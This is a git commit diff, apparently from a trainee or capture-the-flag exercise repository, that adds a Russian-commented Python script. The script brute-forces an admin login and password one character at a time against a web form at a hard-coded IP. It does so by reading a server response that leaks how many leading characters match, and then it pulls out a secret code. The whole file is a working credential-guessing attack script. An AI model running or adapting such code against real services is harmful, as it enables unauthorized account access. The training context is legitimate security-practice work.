summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorАндрей Гущин <saintruler@gmail.com>2019-06-06 10:00:54 +0300
committerАндрей Гущин <saintruler@gmail.com>2019-06-06 10:00:54 +0300
commitf3512425265d2432c1791850fee3fa313267432b (patch)
treeadda17f78a97818b376d38f462b687533deab2da
parent2b20a47cae1f05c8fbfe6cc4dcafac643705ee3e (diff)
parent0871e4839f99e741ec559509f6614859304c353f (diff)
Merge branch 'day4_task5' into 'master'
День 4, Задача 5 See merge request saintruler/trainee!23
-rw-r--r--day4/task5/task5.py78
1 files changed, 78 insertions, 0 deletions
diff --git a/day4/task5/task5.py b/day4/task5/task5.py
new file mode 100644
index 0000000..5aa14db
--- /dev/null
+++ b/day4/task5/task5.py
@@ -0,0 +1,78 @@
+import requests
+import re
+import string
+
+
+def brute_login(login_len, password):
+ login = ''
+ for _ in range(login_len):
+ for char in login_alphabet:
+ resp = requests.post(url, data={
+ 'login': (login + char).ljust(login_len),
+ 'password': password
+ })
+ try:
+ if int(re.findall(login_brute_pattern, resp.text)[0][1]) > len(login):
+ print(f'Подобрал следующую букву логина: {char} ({len(login) + 1}/{login_len})')
+ login += char
+ break
+ except IndexError:
+ print(f'Подобрал следующую букву логина: {char} ({len(login) + 1}/{login_len})')
+ login += char
+ break
+ else:
+ print('Ни один из символов алфавита не подошел.')
+ quit()
+
+ return login
+
+
+def brute_password(pass_len, login):
+ password = ''
+
+ for _ in range(pass_len):
+ for char in password_alphabet:
+ resp = requests.post(url, data={
+ 'login': login,
+ 'password': (password + char).ljust(pass_len)
+ })
+ try:
+ if int(re.findall(password_brute_pattern, resp.text)[0][2]) > len(password):
+ print(f'Подобрал следующую букву пароля: {char} ({len(password) + 1}/{pass_len})')
+ password += char
+ break
+ except IndexError:
+ print(f'Подобрал следующую букву пароля: {char} ({len(password) + 1}/{pass_len})')
+ password += char
+ break
+ else:
+ print('Ни один из символов алфавита не подошел.')
+ quit()
+
+ return password
+
+
+url = 'http://213.178.59.123:8000/admin_auth'
+login_alphabet = string.printable
+# Судя по тому, что возвращает страничка, когда введен правильный логин
+# и в пароле правильное количество знаков, в пароле есть только цифры.
+password_alphabet = string.digits
+
+login_len_pattern = re.compile(r'(\d+?)\) У актуального логина\((\d+?)\) и текущего разница в кол-ве (\d+?) знаков', re.DOTALL)
+pass_len_pattern = re.compile(r'(\d+?)\) У актуального пароля\((\d+?)\) и текущего разница в кол-ве (\d+?) знаков', re.DOTALL)
+login_brute_pattern = re.compile(r'(\d+?)\) У логина совпадают перыве (\d+?) значения\(ий\)', re.DOTALL)
+password_brute_pattern = re.compile(r'(\d+?)\) У пароля \((\d+?)\)совпадает перыве (\d+?) цифр\(ы\)', re.DOTALL)
+
+resp = requests.post(url, data={'login': '123', 'password': '123'})
+login_len = int(re.findall(login_len_pattern, resp.text)[0][2]) + 3
+real_login = brute_login(login_len, '123')
+print(f'Логин подобран: {real_login}')
+
+resp = requests.post(url, data={'login': real_login, 'password': '123'})
+pass_len = int(re.findall(pass_len_pattern, resp.text)[0][2]) + 3
+real_password = brute_password(pass_len, real_login)
+print(f'Пароль подобран: {real_password}')
+
+resp = requests.post(url, data={'login': real_login, 'password': real_password})
+code = re.search(r'Ты молодец, возьми с полки пирожок, секретный код (.+?)\b', resp.text).groups()[0]
+print(f'Секретный код: {code}')